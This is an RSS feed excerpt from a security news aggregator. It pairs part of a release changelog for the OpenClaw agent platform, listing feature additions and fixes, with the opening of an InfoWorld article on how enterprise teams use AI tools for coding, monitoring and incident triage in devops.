<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex <code>lastGood</code> auth state, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>)</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, skip plugin-local <code>openclaw</code> peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>.</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to succeed with AI-powered devops tools]]></title>
<description><![CDATA[If the supreme goal for software development teams is to get high-quality products to market as quickly, efficiently, and securely as possible, then deploying AI-powered tools for devops might be the way to achieve that objective.



AI-powered tools can help to speed up software delivery, enhanc...]]></description>
<link>https://tsecurity.de/de/3562485/ai-nachrichten/how-to-succeed-with-ai-powered-devops-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562485/ai-nachrichten/how-to-succeed-with-ai-powered-devops-tools/</guid>
<pubDate>Mon, 01 Jun 2026 11:18:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>If the supreme goal for software development teams is to get high-quality products to market as quickly, efficiently, and securely as possible, then deploying AI-powered tools for <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> might be the way to achieve that objective.</p>



<p>AI-powered tools can help to speed up software delivery, enhance system reliability, and reduce operational costs by automating complex and repetitive tasks. They enable development, operations, and security staffers to resolve incidents more quickly, detect anomalies proactively, optimize cloud resource management, and ultimately accelerate processes throughout the development life cycle.</p>



<h2 class="wp-block-heading">AI and devops – a natural fit</h2>



<p>In many ways, AI and devops seem made for each other. Any automation that teams can add to the software development process is a plus.</p>



<p>“At this point, most of the enterprise teams I work with have moved well beyond experimenting and AI is part of the daily workflow,” says <a href="https://www.linkedin.com/in/jackie-swanson-944a401/">Jackie Swanson</a>, managing partner at research firm <a href="https://www.gartner.com/en" data-type="link" data-id="https://www.gartner.com/en">Gartner</a>. “The on-ramp for most has been AI-assisted coding. Tools like <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> and <a href="https://www.infoworld.com/article/2337694/amazon-q-developer-review-code-completions-code-chat-and-aws-skills.html">Amazon Q Developer</a> are showing up everywhere, helping developers knock out boilerplate, write unit tests faster, and scaffold <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a>.”</p>



<p>But the more interesting shift is happening further down the pipeline, Swanson says. “Teams are leaning into <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html" data-type="link" data-id="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">AIOps</a> platforms for smarter monitoring, anomaly detection, and incident triage that used to eat up hours of an engineer’s week,” she says. “The real story right now is the move from adopting individual AI point solutions to thinking about AI as a layer across the entire delivery chain.”</p>



<p>Teams using AI-assisted coding and automated test generation are compressing cycle times by 20% to 40%, Swanson says. They are also resolving incidents more efficiently, with AI platforms correlating alerts, flagging probable root causes, and suggesting fixes. This means “on-call engineers aren’t spending their nights sifting through dashboards,” Swanson says. “Mean time to resolution drops and so does burnout.”</p>



<p>In addition, developers are spending less time on repetitive work and more time on things that actually move the business forward, such as architecture decisions, customer-facing features, and problem-solving, Swanson says.</p>



<p>“I’m seeing AI used as a layer across the devops workflow rather than a single tool,” says <a href="https://sonukapoor.com/">Sonu Kapoor</a>, who has worked as an independent software engineer for more than two decades, architecting front ends for Citigroup’s global trading platform and modernizing enterprise stacks for Sony Music Publishing and Cisco, among other work.</p>



<p>“Teams use it for code assistance, <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> support, log and telemetry analysis, incident investigation, and security triage,” Kapoor says. “In practice, this means engineers are using AI to explain failing builds, summarize alerts, investigate production issues faster, and reduce the time spent switching between tools.”</p>



<p>What’s particularly interesting is that AI is starting to sit closer to the actual engineering process, Kapoor says. “It’s not just generating text; it’s helping interpret signals and suggest next steps across code, infrastructure, and operations,” he says.</p>



<p>The biggest benefit of the trend is the reduction of friction, Kapoor says. “AI shortens the path from signal to action,” he says. “That shows up as faster onboarding, quicker incident investigation, less time writing repetitive code, and better interpretation of logs and metrics. It becomes meaningful when the tool is grounded in real context: your codebase, your infrastructure, and your telemetry. Without that, it’s just generating plausible answers.”</p>



<p>The same applies to security workflows, Kapoor says. “If a tool can’t translate findings into something actionable, the value drops quickly, regardless of how advanced the underlying AI is,” he says.</p>



<h2 class="wp-block-heading">Streamlining engineering workflows</h2>



<p>At engineering and construction company <a href="https://www.mastec.com/">MasTec</a>, AI tools are becoming part of the daily workflow, “but not in a flashy way,” says <a href="https://www.linkedin.com/in/sidvangala/">Sid Vangala</a>, senior AI systems engineer.</p>



<p>“In my experience working on production back-end and AI platforms, the adoption has been gradual and very practical,” Vangala says. “On the development side, tools like GitHub Copilot are used pretty heavily for scripting, writing infrastructure configuration, and speeding up repetitive tasks, especially when working with Python services, APIs, or Docker setups. It’s not about letting the tool write entire systems, but about reducing the friction of routine work.”</p>



<p>From an operations standpoint, MasTec relies on Azure-based monitoring tools and AI-assisted observability features to analyze logs and performance metrics. “These tools help identify anomalies or performance bottlenecks earlier than we would catch them manually,” Vangala says. “In practice, AI tools in devops are less about automation for its own sake, and more about making engineers faster and more aware of system behavior.”</p>



